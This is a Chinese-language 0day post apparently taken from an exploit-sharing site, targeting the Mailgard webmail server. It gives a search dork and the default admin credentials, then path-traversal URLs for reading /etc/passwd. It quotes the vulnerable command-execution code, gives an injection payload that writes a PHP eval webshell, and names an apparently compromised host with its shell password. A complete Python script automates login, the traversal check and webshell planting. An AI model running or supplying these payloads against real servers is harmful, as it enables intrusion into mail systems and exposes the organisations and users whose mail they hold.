佑友(mailgard webmail)邮件服务器getshell 0day

一、任意文件下载(需要登录)
百度搜索intitle:"mailgard webmail",多家没有改admin密码的中招,默认密码admin/hicomadmin
http://mail.xxx.com.cn/src/read_file.php?signature=../../../../../../../etc/passwd
http://mail.xxx.com.cn/src/read_file.php?uploadimage=../../../../../../../../../../etc/passwd
根据此漏洞读取lighttpd error.log得到web更目录:/var/www/newmail/
down
二、系统命令执行导致getshell
下载文件进行代码审计,找到一个命令执行漏洞
/var/www/newmail/src/ajaxserver.php第1789行开始:

if($_GET['exec'] == 'recall'){ // 撤回邮件
	$user		= str_replace('\\','\\\\',$_POST['user']);
	$messageid	= str_replace('\\','\\\\',$_POST['messageid']);
	system(HM_SHELL."Mail_recall.sh '".$user."' '".$messageid."' '".$onlineip."' >null &");
	unset($_SESSION['H_MAILS']['Sent']);echo 'ok';exit;

}

直接毁了magic_quotes_gpc和addslashes的防护(系统自身带了全局过滤,代码抄袭discuz的),导致getshell:
EXP如下,得到webshell,http://mail.sihc.com.cn/shell.php,密码123

http://mail.0day5.com/src/ajaxserver.php?exec=recall

POST: user=1'|echo '<?php eval($_POST[123]); ?>'>/var/www/newmail/shell.php #&messageid=1

shell

自动化exp如下:
用法python fuck.py http://mail.test.com:80/ 帐号 密码

import requests
import sys


if len(sys.argv) < 4:
	print 'usage:python fuck.py http(s)://target:port/ <username> <password>'
	print 'example:python fuck.py http://mail.test.com:80/ admin admin'
	sys.exit(0)
else:
	target = sys.argv[1]
	if not target.endswith('/'):
		target += '/'
	username = sys.argv[2]
	password = sys.argv[3]
	sessionid = ''

def login(target,username,password):
	login_request = ''
	global sessionid
	domain = target[(target.index('.')+1):(target.index(':',6))]
	print 'domain=' + domain
	login_url = target + 'index.php'
	post_data = 'txtname=' + username + '&domain=' + domain + '&txtpwd=' + password + '&languages=zh-cn&button=%E7%99%BB+%E5%BD%95'
	try:
		login_request = requests.post(login_url,post_data,allow_redirects=False,verify=False,timeout=3)
		if login_request.status_code == 302:
			print 'login succeeded'
			sessionid = login_request.cookies['PHPSESSID']
			return sessionid
		else:
			print 'login failed,please check username and password'
			return False
	except Exception,e:   
		print Exception,":",e
		return False


def check(target,sessionid):
	check_request = ''
	url = target + 'src/read_file.php?uploadimage=../../../../../../../../../../etc/passwd'
	request_header = {'cookie': 'MAILSESSID=' + str(sessionid) + '; PHPSESSID=' + str(sessionid)}
	try:
		check_request = requests.get(url,headers=request_header,verify=False,timeout=3)
		if 'root:x:0:0:root:/root:/bin/bash' in check_request.text and check_request.status_code == 200:
			print 'target is vulnerable\r\n'
			# print 'the content of file \'/etc/passwd\'\r\n'
			# print check_request.text
			return True
		else:
			print 'target is not vulnerable'
			return False
	except Exception,e:   
		print Exception,":",e
		return False


def getshell(target,sessionid):
	getshell_request = ''
	fuckurl = target + 'src/ajaxserver.php?exec=recall'
	getshell_header = {'cookie': 'MAILSESSID=' + str(sessionid) + '; PHPSESSID=' + str(sessionid)}
	getshell_data = 'user=1\'|echo \'<?php eval($_POST[123]); ?>\'>/var/www/newmail/shell123.php #&messageid=1'
	# print getshell_data
	try:
		getshell_request = requests.post(fuckurl,getshell_data,headers=getshell_header,allow_redirects=False,verify=False)
		if (requests.get(target + 'shell123.php',verify=False).status_code == 200):
			print 'getshell succeeded,address:' + str(target + 'shell123.php') + ' password:123'
		else:
			print 'getshell failed!'
	except Exception,e:   
		print Exception,":",e
		return False


if __name__ == '__main__':
	if (login(target,username,password)):
		print 'sessionid=' + sessionid
		if(check(target,sessionid)):
			print 'target is vulnerable to directory transversal'
		else:
			print 'target is not vulnerable to directory transversal'
		print 'trying to getshell,please wait'
		getshell(target,sessionid)

getshell

发表评论